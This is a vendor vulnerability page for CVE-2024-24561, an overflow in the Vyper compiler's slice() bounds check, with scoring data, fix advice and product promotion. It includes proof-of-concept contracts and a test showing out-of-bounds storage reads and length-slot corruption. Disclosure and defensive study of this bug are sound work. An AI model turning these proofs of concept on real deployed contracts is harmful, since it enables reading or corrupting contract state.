Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

CVE-2024-24561 — vyper

CRITICAL

CVE-2024-24561 is a critical-severity (CVSS 9.8) Buffer Overflow vulnerability in vyper. 1 public exploit reference exists, so weaponization risk is real. A fix is available for vyper — see the affected versions and patch details below.

Vyper bounds check on built-in `slice()` function can be overflowed

Also known asGHSA-9x7f-gwxq-6f2cPYSEC-2024-149
Published
Feb 1, 2024
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-24561.

EPSS Exploitation Probability

via FIRST.org ↗
0.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs58th percentile — riskier than 58% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2024-24561 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍vyper

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals.

If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check.

This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.

A contract search was performed and no vulnerable contracts were found in production.

tracking in issue https://github.com/vyperlang/vyper/issues/3756. patched in https://github.com/vyperlang/vyper/pull/3818.

Details

Here the flow for storage is supposed, but it is generalizable also for the other locations.

When calling slice() on a storage value, there are compile time bounds checks if the start and length values are literals, but of course this cannot happen if they are passed values:

if not is_adhoc_slice:
    if length_literal is not None:
        if length_literal < 1:
            raise ArgumentException("Length cannot be less than 1", length_expr)

        if length_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", length_expr)

    if start_literal is not None:
        if start_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", start_expr)
        if length_literal is not None and start_literal + length_literal > arg_type.length:
            raise ArgumentException(f"slice out of bounds for {arg_type}", node)

At runtime, we perform the following equivalent check, but the runtime check does not account for overflows:

["assert", ["le", ["add", start, length], src_len]],  # bounds check

The storage slice() function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the start or length value, they can force an overflow and access an unrelated storage slot.

In most cases, this will mean they have the ability to forcibly return 0 for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.

POC: OOB access

For simplicity, take the following Vyper contract, which takes an argument to determine where in a Bytes[64] bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.

# @version ^0.3.9

x: public(Bytes[64])
secret: uint256

@external
def __init__():
    self.x = empty(Bytes[64])
    self.secret = 42

@external
def slice_it(start: uint256) -> Bytes[64]:
    return slice(self.x, start, 64)

We can use the following manual storage to demonstrate the vulnerability:

{"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}

If we run the following test, passing max - 63 as the start value, we will overflow the bounds check, but access the storage slot at 1 + (2**256 - 63) / 32, which is what was set in the above storage layout:

function test__slice_error() public {
    c = SuperContract(deployer.deploy_with_custom_storage("src/loose/", "slice_error", "slice_error_storage"));
    bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63
    console.logBytes(result);
}

The result is that we return the secret value from storage:

Logs:
0x0000...00002a

POC: length corruption

OOG exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the length slot is set with the original input value.

d: public(Bytes[256])
	
@external
def test():
	x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1
	self.d = b"\x01\x02\x03\x04\x05\x06"
	# s : Bytes[256] = slice(self.d, 1, x)
	assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935

The corruption of length can be then used to read dirty memory:

@external
def test():
    x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935  # 2**256 - 1
    y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850   # 0x3232323232323232323232323232323232323232323232323232323232323232
    z: uint96 = 1
    if True:
        placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]
    s :String[32] = slice(uint2str(z), 1, x)	# uint2str(z) == "1"
    #print(len(s))
    assert slice(s, 1, 2) == "22"

Impact

The built-in slice() method can be used for OOB accesses or the corruption of the length slot.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIvyperall versions0.4.0pip install --upgrade 'vyper==0.4.0'
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vyper, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vyper to 0.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-24561 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-24561 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2024-24561. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary [The bounds check for slices](https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457) does not account for the ability for `start + length` to overflow when the values aren't literals. If a `slice()` function uses a non-literal argument for the `start` or `length` variable, this creates the ability for an attacker to overflow the bounds check. This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the `length` slot of the respective array. A contract searc
O3 Security · Impact-Aware SCA

Is CVE-2024-24561 in your dependencies?

O3 Security finds CVE-2024-24561 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2024-24561: vyper (Critical 9.8) | O3 Security